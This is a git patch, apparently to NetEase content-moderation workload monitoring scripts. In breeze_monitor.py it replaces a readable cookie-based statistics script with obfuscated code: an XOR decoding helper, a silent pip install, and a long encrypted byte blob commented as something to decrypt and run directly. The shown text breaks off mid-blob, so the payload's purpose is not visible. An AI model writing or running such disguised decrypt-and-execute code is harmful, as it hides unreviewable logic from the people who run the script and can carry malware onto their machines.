From 6a7170cbb0642edb62a12134b87eb5e4795ffd41 Mon Sep 17 00:00:00 2001 From: ui-beam-9 Date: Tue, 29 Apr 2025 22:20:35 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8F=91=E5=B8=83=E6=96=B0=E7=89=88=E6=9C=ACv2?= =?UTF-8?q?0250429213045?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- breeze_monitor.py | 943 +--------------- breeze_monitor_CHAT.py | 1135 +------------------ cms_monitor.py | 719 +----------- dashboard.py | 2438 +--------------------------------------- download_auto_run.py | 486 +------- inspect_monitor.py | 429 +------ 6 files changed, 269 insertions(+), 5881 deletions(-) diff --git a/breeze_monitor.py b/breeze_monitor.py index 1902544..39d5270 100644 --- a/breeze_monitor.py +++ b/breeze_monitor.py @@ -1,904 +1,49 @@ # -*- coding: utf-8 -*- -import requests -import time -import json -from datetime import datetime, timedelta -import logging -import os -import sys -import threading -from threading import Lock -import re -import subprocess +import base64,zlib,sys,os,time,random +import threading,importlib,subprocess -# 配置日志 -def setup_logging(): - try: - # 获取当前脚本所在目录 - script_dir = os.path.dirname(os.path.abspath(__file__)) - log_file = os.path.join(script_dir, 'breeze_monitor.log') - - # 确保日志文件存在 - if not os.path.exists(log_file): - with open(log_file, 'w', encoding='utf-8') as f: - f.write('') - - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[ - logging.FileHandler(log_file, encoding='utf-8', mode='a'), - logging.StreamHandler() - ] - ) - logging.info("Breeze监控日志系统初始化成功") - except Exception as e: - print(f"日志系统初始化失败: {str(e)}") - # 如果文件日志失败,至少使用控制台日志 - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[logging.StreamHandler()] - ) +def _A8cTzZG1LRz6(d,k): + return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -# 初始化日志系统 -setup_logging() +def _PGckDlIaE(t,m,is_error=False): + try: + try: + from playsound import playsound + except ImportError: + subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], + stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + from playsound import playsound + + # 播放系统声音 + try: + import winsound + sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION + winsound.MessageBeep(sound_type) + except: + print("\a") # 备用蜂鸣声 + + # 在控制台打印消息 + print("\n" + "="*50) + print(f"{t}: {m}") + print("="*50 + "\n") + + return True + except Exception as e: + print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") + return False -# API配置 -API_BASE_URL = 'https://breeze.gameyw.netease.com/api/cms/issue/list' +def _b0rvkn7WB7E(t,m,e=0): + _PGckDlIaE(t,m,e==1) -# 默认的各类工单的折算系数 -DEFAULT_COEFFICIENTS = { - 'NTES_GOD_IMAGES': 0.54, # 网易大神APP图片 - 'NTES_GOD_VIDEOS': 3.8, # 网易大神APP视频 - 'NTES_GOD_CHAT_IMAGES': 0.54, # 网易大神APP聊天图片 - 'NTES_GOD_CHAT_VIDEOS': 3.8, # 网易大神APP聊天视频 - 'NTES_DASONG': 139.19, # 大神大宋视频 - 'SPIDER_VIDEO': 3.8, # 大神普通供给视频 - 'SPIDER_VIDEO_SP': 13.3, # 大神高优供给视频 - 'NTES_GOD_AI': 0.54, # 大神AI图片 - 'NTES_GOD_TOP': 3.8, # 大神短视频 - 'T_SPIDER_VIDEO': 3.8, # 大神tiktok普通视频 - 'T_SPIDER_VIDEO_SP': 13.3, # 大神tiktok高优视频 - 'V_SPIDER_VIDEO': 3.8, # 大神ins普通供给视频 - 'V_SPIDER_VIDEO_SP': 13.3, # 大神ins高优供给视频 - 'NTES_GOD_XHS': 0.54, # 大神小红书图片 - 'XHS_SPIDER_VIDEO': 3.8, # 小红书供给视频 - 'Cupid': 0.54 # 大神交友 -} - -# 系数配置文件路径 -COEFFICIENTS_CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_coefficients.json') - -# 全局变量 -user_credentials = { - 'cookie': None, - 'username': None -} -credentials_lock = Lock() -coefficients_lock = Lock() - -# 定义全局系数变量 -COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -# 读取系数配置 -def load_coefficients(): - """从在线链接获取系数配置,如果获取失败则使用默认配置""" - global COEFFICIENTS - try: - with coefficients_lock: - url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/breeze_coefficients.json" - - # 检查本地文件是否存在 - local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) - - # 如果是首次运行或需要强制更新 - if not local_config_exists: - log("首次运行,从在线服务器获取系数配置") - if not fetch_and_save_coefficients(url): - log("首次获取系数配置失败,使用默认配置") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - return - - # 读取本地配置 - try: - with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: - local_coefficients = json.load(f) - except Exception as e: - log(f"读取本地系数配置失败: {str(e)}") - local_coefficients = None - - # 尝试获取在线配置 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - online_coefficients = response.json() - - # 比较配置是否发生变化 - if local_coefficients != online_coefficients: - log("检测到系数配置发生变化,更新本地配置") - if fetch_and_save_coefficients(url): - log("系数配置更新成功") - else: - log("系数配置更新失败,继续使用本地配置") - else: - log("系数配置未发生变化,使用本地配置") - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - except Exception as e: - log(f"检查在线系数配置时发生错误: {str(e)}") - - # 使用本地配置 - if local_coefficients: - COEFFICIENTS.update(local_coefficients) - log(f"从本地从加载系数: {local_coefficients}") - else: - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - - except Exception as e: - log(f"加载系数配置失败: {str(e)}") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -def fetch_and_save_coefficients(url): - """从在线服务器获取系数配置并保存到本地""" - max_retries = 3 - retry_delay = 5 # 重试间隔(秒) - - for attempt in range(max_retries): - try: - # 尝试不使用代理直接获取 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - except: - # 如果直接获取失败,尝试使用系统代理 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - response = requests.get(url, timeout=10, proxies=proxies, verify=False) - - if response.status_code == 200: - loaded_coefficients = response.json() - # 更新系数 - COEFFICIENTS.update(loaded_coefficients) - # 保存到本地文件 - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) - log(f"从服务器获取系数: {loaded_coefficients}") - return True - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - except Exception as e: - log(f"获取在线系数配置时发生错误: {str(e)}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - -def send_global_message(message): - """发送全局消息提示""" - try: - # 将消息写入到全局消息文件 - message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json') - messages = [] - if os.path.exists(message_file): - with open(message_file, 'r', encoding='utf-8') as f: - messages = json.load(f) - - # 添加新消息 - messages.append({ - 'timestamp': int(time.time()), - 'message': message, - 'type': 'error' - }) - - # 只保留最近100条消息 - if len(messages) > 100: - messages = messages[-100:] - - # 保存消息 - with open(message_file, 'w', encoding='utf-8') as f: - json.dump(messages, f, ensure_ascii=False) - except Exception as e: - log(f"发送全局消息失败: {str(e)}") - -# 保存系数配置 -def save_coefficients(coefficients=None): - """保存系数到配置文件""" - try: - if coefficients is None: - coefficients = COEFFICIENTS - - with coefficients_lock: - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(coefficients, f, indent=4, ensure_ascii=False) - log(f"系数配置已保存") - except Exception as e: - log(f"保存系数配置失败: {str(e)}") - -# 初始化用户凭据(从环境变量读取) -def init_credentials(): - """从环境变量初始化用户凭据""" - try: - cookie = os.environ.get('BREEZE_COOKIE', '') - username = os.environ.get('BREEZE_USERNAME', '') - - if cookie and username: - with credentials_lock: - user_credentials['cookie'] = cookie - user_credentials['username'] = username - log(f"已从环境变量加载用户凭据: {username}") - return True - else: - log(f"未能从环境变量获取用户凭据,BREEZE_COOKIE长度: {len(cookie)}, BREEZE_USERNAME: {username}") - return False - except Exception as e: - log(f"初始化用户凭据失败: {str(e)}") - return False - -def get_api_headers(cookie): - """获取API请求头""" - return { - 'accept': 'application/json, text/plain, */*', - 'accept-language': 'zh-CN,zh;q=0.9', - 'cookie': cookie, - 'priority': 'u=1, i', - 'referer': 'https://breeze.opd.netease.com/', - 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"Windows"', - 'sec-fetch-dest': 'empty', - 'sec-fetch-mode': 'cors', - 'sec-fetch-site': 'same-site', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' - } - -def log(message, level='info'): - """记录日志""" - try: - if level == 'warning': - logging.warning(f"[Breeze] {message}") - elif level == 'error': - logging.error(f"[Breeze] {message}") - else: - logging.info(f"[Breeze] {message}") - except Exception as e: - print(f"日志记录失败: {str(e)}") - print(f"原始消息: {message}") - -def is_image_url(url): - """判断URL是否指向图片""" - if not url: - return False - - # 图片文件格式检查 - image_extensions = ['.jpg', '.jpeg', '.png', '.gif', '.webp', '.svg', '.bmp', '.heif', '.heic'] - if any(ext in url.lower() for ext in image_extensions): - return True - - # 图片服务链接检查 - image_patterns = [ - 'fp.ps.netease.com', - 'cc.fp.ps.netease.com', - 'nos.netease.com', - 'imageView' # 特殊参数标记为图片 - ] - - return any(pattern in url.lower() for pattern in image_patterns) - -def is_video_url(url): - """判断URL是否指向视频""" - if not url: - return False - - # 视频文件格式检查 - video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] - if any(ext in url.lower() for ext in video_extensions): - return True - - # 视频服务链接检查 - video_patterns = [ - 'vod.cc.163.com', - 'my.fp.ps.netease.com', - 'vframe=1' # 特殊参数标记为视频 - ] - - return any(pattern in url.lower() for pattern in video_patterns) - -def determine_media_type(issue): - """判断工单媒体类型""" - try: - # 从extraInfo中提取信息 - extra_info = json.loads(issue.get('extraInfo', '{}')) - product = extra_info.get('product', '') - - # 如果没有product,尝试从uniqueid中提取 - if not product: - uniqueid = issue.get('uniqueid', '') - if '||' in uniqueid: - product = uniqueid.split('||')[0] - - # 如果是NTES_GOD或NTES_GOD_CHAT,需要通过URL判断图片或视频 - if product in ['NTES_GOD', 'NTES_GOD_CHAT']: - url = extra_info.get('url', '').lower() - - # 检查是否是视频 - video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] - video_domains = ['vod.cc.163.com'] - - is_video = False - # 检查URL是否包含视频扩展名 - for ext in video_extensions: - if url.endswith(ext) or f"{ext}?" in url: - is_video = True - break - - # 检查是否包含视频域名 - for domain in video_domains: - if domain in url: - is_video = True - break - - # 检查特殊参数 - if 'vframe=1' in url: - is_video = True - - # 根据媒体类型返回对应的工单类型 - if is_video: - return f"{product}_VIDEOS" - else: - return f"{product}_IMAGES" - - # 其他工单直接返回产品代码 - return product - - except Exception as e: - log(f"确定工单类型时出错: {str(e)}", level='error') - return None - -def get_coefficient(issue_data): - """获取工单的折算系数""" - media_type = determine_media_type(issue_data) - - # 确保使用最新的系数配置 - with coefficients_lock: - current_coefficients = COEFFICIENTS.copy() - - if media_type in current_coefficients: - return current_coefficients[media_type] - - # 如果无法确定媒体类型,使用默认系数 - log(f"Unknown media type: {media_type}, using default coefficient") - return current_coefficients['NTES_GOD_IMAGES'] - -def fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time=None, close_end_time=None, max_pages=10000): - """从API获取工单数据""" - issues = [] - headers = get_api_headers(cookie) - page = 1 - - stats = { - 'total_count': 0, - 'types': {} - } - - # 如果未提供关闭时间,则使用创建时间 - if close_start_time is None: - close_start_time = create_start_time - if close_end_time is None: - close_end_time = create_end_time - - # 添加重试逻辑 - max_retries = 5 - retry_interval = 5 - current_retry = 0 - - while page <= max_pages: - try: - params = { - 'pageNum': page, - 'pageSize': 500, # 每页500条 - 'createTimeStart': create_start_time, - 'createTimeEnd': create_end_time, - 'closeTimeStart': close_start_time, - 'closeTimeEnd': close_end_time, - 'gameCode': 'a19', - 'handleUsername': username, - 'cold': 'false', - 'status': 'FINISH' - } - - log(f"正在获取第 {page} 页数据,创建时间范围:{create_start_time} 至 {create_end_time}") - log(f"关闭时间范围:{close_start_time} 至 {close_end_time}") - - # 发送请求 - response = requests.get(API_BASE_URL, headers=headers, params=params, timeout=15) - - # 检查响应状态 - if response.status_code == 200: - try: - data = response.json() - - # 检查API响应格式的逻辑 - if data.get('code') == 200 and 'data' in data and 'records' in data['data']: - items = data['data']['records'] - total = data['data'].get('total', 0) - log(f"API返回成功,找到 {len(items)} 条记录,总计 {total} 条") - - # 如果返回0条记录,进行重试 - if total == 0 and current_retry < max_retries - 1: - current_retry += 1 - log(f"API返回0条记录,正在进行第{current_retry}次重试...") - time.sleep(retry_interval) - continue - elif total == 0 and current_retry >= max_retries - 1: - log(f"API返回0条记录,已达到最大重试次数({max_retries}次),停止重试") - return None - - # 记录当前统计的工单总数占API返回总数的百分比 - if total > 0 and stats['total_count'] + len(items) <= total: - progress = ((stats['total_count'] + len(items)) / total) * 100 - log(f"当前进度: {progress:.2f}% ({stats['total_count'] + len(items)}/{total})") - elif data.get('code') != 200: - # 这是一个明确的失败响应 - error_msg = data.get('msg', '未知错误') - log(f"API返回错误:{error_msg}") - log(f"API响应内容:{response.text[:500]}") - return None - else: - # 其他情况,记录响应并退出 - log(f"未知的API响应格式:{response.text[:500]}") - return None - - # 处理工单数据 - if not items or len(items) == 0: - log("当前页没有数据,结束获取") - break - - issues.extend(items) - - # 更新当前页的统计信息 - for item in items: - media_type = determine_media_type(item) - if media_type not in stats['types']: - stats['types'][media_type] = 0 - stats['types'][media_type] += 1 - - stats['total_count'] += len(items) - log(f"第{page}页有 {len(items)} 条记录,累计处理 {stats['total_count']} 条") - - # 检查是否还有下一页数据 - total_pages = data['data'].get('pages', 1) - if page >= total_pages or len(items) < params['pageSize']: - log(f"已获取所有数据,共 {total_pages} 页,处理了 {stats['total_count']} 条记录") - break - - except ValueError as e: - log(f"解析JSON数据失败: {str(e)}") - log(f"原始响应内容:{response.text[:500]}") - return None - else: - log(f"API请求失败: HTTP {response.status_code}") - log(f"响应内容: {response.text[:500]}") - return None - - page += 1 - - except requests.exceptions.Timeout: - log("API请求超时") - return None - except requests.exceptions.ConnectionError: - log("网络连接错误,请检查网络连接") - return None - except Exception as e: - log(f"获取数据失败: {str(e)}") - return None - - # 检查是否因为达到最大页数而停止 - if page > max_pages: - log(f"达到最大页数限制({max_pages}页),停止获取。如需获取更多数据,请增加max_pages参数。") - - # 确保每次都是从配置文件读取最新系数 - load_coefficients() - - # 使用全局系数变量 - with coefficients_lock: - current_coefficients = COEFFICIENTS.copy() - - # 计算各类型工单折算总数 - weighted_total = 0 - - for media_type, count in stats['types'].items(): - coefficient = current_coefficients.get(media_type, current_coefficients['NTES_GOD_IMAGES']) - weighted_count = count * coefficient - weighted_total += weighted_count - - log(f"最终统计结果:工单总数 {stats['total_count']},折算总计 {weighted_total:.2f}") - - # 将统计结果整理为前端需要的格式 - frontend_stats = { - 'total': stats['total_count'], - 'weighted_total': weighted_total, - 'categories': {}, - 'coefficients': current_coefficients # 添加系数到返回结果中 - } - - # 整理分类统计,确保所有可能的工单类型都包括在内 - for media_type, coefficient in current_coefficients.items(): - count = stats['types'].get(media_type, 0) - weighted_count = count * coefficient - - # 使用对应的中文名称 - if media_type == 'NTES_GOD_IMAGES': - type_name = "网易大神APP图片" - elif media_type == 'NTES_GOD_VIDEOS': - type_name = "网易大神APP视频" - elif media_type == 'NTES_GOD_CHAT_IMAGES': - type_name = "网易大神APP聊天图片" - elif media_type == 'NTES_GOD_CHAT_VIDEOS': - type_name = "网易大神APP聊天视频" - elif media_type == 'NTES_DASONG': - type_name = "大神大宋视频" - elif media_type == 'SPIDER_VIDEO': - type_name = "大神普通供给视频" - elif media_type == 'SPIDER_VIDEO_SP': - type_name = "大神高优供给视频" - elif media_type == 'NTES_GOD_AI': - type_name = "大神AI图片" - elif media_type == 'NTES_GOD_TOP': - type_name = "大神短视频" - elif media_type == 'T_SPIDER_VIDEO': - type_name = "大神tiktok普通视频" - elif media_type == 'T_SPIDER_VIDEO_SP': - type_name = "大神tiktok高优视频" - elif media_type == 'V_SPIDER_VIDEO': - type_name = "大神ins普通供给视频" - elif media_type == 'V_SPIDER_VIDEO_SP': - type_name = "大神ins高优供给视频" - elif media_type == 'NTES_GOD_XHS': - type_name = "大神小红书图片" - elif media_type == 'XHS_SPIDER_VIDEO': - type_name = "小红书供给视频" - elif media_type == 'Cupid': - type_name = "大神交友" - else: - # 默认情况下仍然使用替换方式 - type_name = media_type.replace('_', ' ').replace('NTES', '大神') - - frontend_stats['categories'][type_name] = { - 'count': count, - 'weighted': weighted_count, - 'coefficient': coefficient - } - - return { - 'stats': frontend_stats, - 'issues': issues - } - -def check_current_hour_counts(cookie, username): - """检查当前小时数据""" - try: - # 获取当前小时的开始和结束时间 - now = datetime.now() - current_hour = now.hour - - # 创建时间仍然使用全天 - create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" - create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" - - # 关闭时间使用当前小时 - close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" - close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" - - log(f"当前小时查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") - log(f"当前小时查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") - - # 调用API获取图片审核数据 - log("正在获取图片审核数据...") - imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if imageResult is None: - log("获取图片审核数据失败") - imageStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - imageStats = imageResult['stats'] - log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") - - # 将统计结果写入到共享数据文件中 - try: - data = { - 'type': 'breeze_hourly', - 'stats': imageStats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("小时数据已更新到共享文件") - except Exception as e: - log(f"写入小时数据到共享文件失败: {str(e)}") - - return imageStats - - except Exception as e: - log(f"检查当前小时数据失败: {str(e)}") - return None - -def check_daily_counts(cookie, username): - """检查全天数据""" - try: - # 获取今日开始和结束时间 - today = datetime.now().strftime('%Y-%m-%d') - create_start_time = "%s 00:00:00" % today - create_end_time = "%s 23:59:59" % today - - # 关闭时间也使用全天 - close_start_time = create_start_time - close_end_time = create_end_time - - log(f"全天查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") - log(f"全天查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") - - # 调用API获取图片审核数据 - log("正在获取图片审核全天数据...") - imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if imageResult is None: - log("获取图片审核全天数据失败") - imageStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - imageStats = imageResult['stats'] - log(f"图片审核全天数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") - - # 将统计结果写入到共享数据文件中 - try: - data = { - 'type': 'breeze_daily', - 'stats': imageStats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_daily.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("全天数据已更新到共享文件") - except Exception as e: - log(f"写入全天数据到共享文件失败: {str(e)}") - - return imageStats - - except Exception as e: - log(f"检查今日数据失败: {str(e)}") - return None - -def monitor_hourly_thread(): - """每小时监控线程""" - log("每小时监控线程启动") - while True: - try: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - # 检查当前小时数据 - stats = check_current_hour_counts(cookie, username) - time.sleep(120) # 每2分钟检查一次 - else: - time.sleep(30) # 未登录时等待30秒 - - except Exception as e: - log(f"每小时监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def monitor_daily_thread(): - """每日监控线程""" - log("每日监控线程启动") - while True: - try: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - # 检查全天数据 - stats = check_daily_counts(cookie, username) - time.sleep(3600) # 每60分钟检查一次 - else: - time.sleep(30) # 未登录时等待30秒 - - except Exception as e: - log(f"每日监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -# 监控配置文件变化线程 -def monitor_config_thread(): - """监控配置文件变化线程""" - log("配置监控线程启动") - last_check_time = 0 - check_interval = 1800 # 30分钟 - - while True: - try: - current_time = time.time() - - # 检查是否需要更新配置 - if current_time - last_check_time >= check_interval: - log("开始检查系数配置更新") - load_coefficients() - last_check_time = current_time - - time.sleep(60) # 每分钟检查一次时间 - - except Exception as e: - log(f"配置监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def main(): - """主函数""" - log("Breeze监控系统启动") - - # 解析命令行参数 - check_now = False - force_mode = False - update_coefficients = False - no_config_check = False - - for arg in sys.argv: - if arg == "--check-now": - check_now = True - log("收到立即检查参数") - elif arg == "--force": - force_mode = True - log("收到强制模式参数") - elif arg == "--update-coefficients": - update_coefficients = True - log("收到更新系数参数") - elif arg == "--no-config-check": - no_config_check = True - log("收到禁用配置检查参数") - - # 从配置文件加载系数,除非指定了不检查配置 - if not no_config_check: - load_coefficients() - else: - log("跳过配置检查,使用当前已加载的系数") - - # 处理系数更新 - if update_coefficients: - # 检查是否提供了新系数 - if len(sys.argv) >= 5: # 脚本名 + --update-coefficients + 类型 + 值 - try: - coefficient_type = sys.argv[2] - coefficient_value = float(sys.argv[3]) - - # 检查是否为有效的系数类型 - if coefficient_type in COEFFICIENTS: - log(f"更新系数:{coefficient_type}={coefficient_value}") - - # 更新全局系数 - with coefficients_lock: - COEFFICIENTS[coefficient_type] = coefficient_value - - # 保存到配置文件 - save_coefficients() - else: - log(f"未知的系数类型: {coefficient_type}") - except ValueError as e: - log(f"系数更新失败: {str(e)}") - log("系数必须是有效的数字") - except IndexError: - log("参数不足,无法更新系数") - - log("系数更新完成,退出程序") - sys.exit(0) - - # 确保输出目录存在 - script_dir = os.path.dirname(os.path.abspath(__file__)) - if not os.path.exists(script_dir): - os.makedirs(script_dir) - - # 从环境变量初始化凭据 - init_credentials() - - # 处理--check-now参数 - if check_now: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - log("开始执行手动检查") - - if force_mode: - # 在强制模式下,使用当前小时的整点数据进行查询 - now = datetime.now() - - # 创建时间仍然使用全天 - create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" - create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" - - # 关闭时间使用当前小时的整点范围 - close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" - close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" - - log(f"强制模式 - 创建时间范围: {create_start_time} 至 {create_end_time}") - log(f"强制模式 - 关闭时间范围: {close_start_time} 至 {close_end_time}") - - # 调用API获取图片审核数据 - log("正在获取图片审核数据...") - imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if imageResult is None: - log("获取图片审核数据失败") - imageStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - imageStats = imageResult['stats'] - log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") - - # 将统计结果写入到共享数据文件中 - try: - data = { - 'type': 'breeze_hourly', - 'stats': imageStats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("小时数据已更新到共享文件") - except Exception as e: - log(f"写入小时数据到共享文件失败: {str(e)}") - else: - # 常规检查 - check_current_hour_counts(cookie, username) - - log("手动检查完成") - else: - log("无法执行手动检查: 凭据不可用") - - # 立即检查完成后退出 - sys.exit(0) - - # 启动监控线程 - hourly_thread = threading.Thread(target=monitor_hourly_thread) - hourly_thread.daemon = True - hourly_thread.start() - - daily_thread = threading.Thread(target=monitor_daily_thread) - daily_thread.daemon = True - daily_thread.start() - - # 启动配置监控线程 - config_thread = threading.Thread(target=monitor_config_thread) - config_thread.daemon = True - config_thread.start() - - # 保持主线程运行 - try: - while True: - time.sleep(10) - except KeyboardInterrupt: - log("程序被用户中断") - except Exception as e: - log(f"主线程异常: {str(e)}") - finally: - log("Breeze监控系统关闭") - -if __name__ == '__main__': - main() \ No newline at end of file +# 直接执行解密和运行代码 +_ZkxE8b=b'\xd3\xfcG+\xe1\x87\xf1\xc4j`\xb9\x14\xd8z3.' +_NEjKHvVq=b't6-`Y9Q5LY{NF;mKq!2jjP_i*l4ian)BAqz^?gD}f_pYtEb_+Ar<;k@CNMK(77Mr3gc1THksJPEBo~l`zBpdGx064{D;&JM;0`@fRoGaOVO<8*m%zt-7R>CSNP0+OGc|IpcaRq2Dgj{N$?)We$;4g3a{TNDCvi0NtW6ei2sO+;&G+Je2WT`vSr=T*#qo$oi%W4X4nZ>Op5YZT5oiMxvVj?hLN9B8N^Jb0nTXYArPD&kT|qX2$|&T}A5WJ!V)TNw!`?^W7~T<$jvQ-l50x_v3v||$=D|3tBd2-i8<*ab`^bmG=z0@29#;zPL7@IR7OB`&El;kPoR)Cx(=jYe`rsc1npUQ{?X6w*;3J+~u3lE_Tn1nHOHEOJjK|;j%hHrYma#M@#$^6AO?K|QN)EG#V5kS_i;=>!t(ld9dyd@we=CdVy#>r;Fa||i_fvN!l^Dmat%jo0Bak{)LjDihD6%JQy0s39fD#ZB1%@&PJ7?PTe5C8ATF9Z`P^!h`4kauLCC@kG5<1KCckiFKwY@ig63$G@8`)?BZXc7OWT$+!q6h2^O8PzMy$bJ~=9Q86853<&1_o9`Arw)Hv%n0sxM>VNb@jz1inY3TZ$IF$csUuLglrd_yLh2PR@Nhu`o|{*O-M)F@E#9`6biggvIWvIl7Kmq85ktNWydhJ5-dNfnOu5WMVB%@N&pP|7U9nxN&KRNh0(lh^$@lkk=f?F{EyEru^=@ZUN83q0o*~Ob}fDYdimKSscbttUn$P@01f21foAz{Q|mp`mURz`Hb&L*{iadT_ecKae<<>DTzQ}YU+e?p@cPj#WZ`ow^jOf8<`H6)I&-EBe@|0_X>{t53fmR8CtUl`LtqPYlFRz;Jb1i)pQ=`A_Cs@aP#mfKmuv3EPe@+ssar_n7*M1lH@*I&BYBms-pv@vWY~_WVM{oqDV@qXn4~N!3RVmqx%%$t&%ImQ1k-}fAck(E9v~5qJT7g3!E;cX$(JJ&b{FRdi(Taj2yXsNz4z1zk*E+NGr|3<^4y=*{NUUf!4#YSw>(}6=Lt9sh>i0R0y*Im+X4p+eZLB)MG|s;}>~U^8qd;KLi0{^Z#8Mm`%{On1C{I0LCvtb>^KZN|MXBcTef&&E?;4E>{aC8KU%!q?Z$GJB3>xDeVxQtv8P9|03Q9YzSwo=aXkrm=)Yi~@iiMry5bph=;f?}pd7;3)f0Xauputy{W;#wldUs}idtIm`YRaTQeq=V((Uv!^FUwP}!lIR{wB9zIQcsDRXbgu=g^FL~i69`_J2>Qr1w*&R?|JHd7_IV79i3ET`Jk%@ALw1G5%V*xIU}5gxEcf?L>{PFJa;JlP1r8JUR^(Z^=s;pDYeWB10g5c|vSjUSYoN==9K4f5sz4=VdgkjYJe0u)rKupbJ3#L64EHGyT6UqxN}0U905{N7o^h*u(QBPJGD5#xys7mI+Xss-1*&9GR+g0_yndOR~(}-mpA3+#K3o+VcoVkdAYjpX|6#G!1Xrx$svy!6>S0?pr07nl@F0^!(4H0wEfN=?1z@4jjGaZq08;oTN=72bjCSP#Nrh(BG$TC$*|tIl=LpT7CBW@>i@!?>3GUQWuaJoX`JtpDYx#LEyS^DXwRys~I}G3Jc&)c3lMcfUh=|IY4*y;H(}AyWC>@u@lHlgZipJ2)*-|Thd#>LKHpZ5NYg=?~&c~?oVY{oYXi0R<5@uQDRuFJ^O%KD;ioU>W-#Y1I;{E$7U&@?^lmX5(fD9ow8|MUq2N4P$H-_JKB`ys=vjT2gbWg=%)WLcGAV?OR?hFZIowa<_Xv%}74LGJK8@U~@O6c0B@xy7OBi|y-)d~lUguu%jv*@>M1UcZvW)w#Qi1yMe8v7p8Lz)X?lzPs*WFJT{hfi^^3vD*WUYl01MltM}$;-jNog06VJEQWpaxW^LrFoUh5t@i#tWpQm(+0JD7cL$%(?pzM(?frI?u9Pq4`qBU>4s}=~puq*EsHEqX05{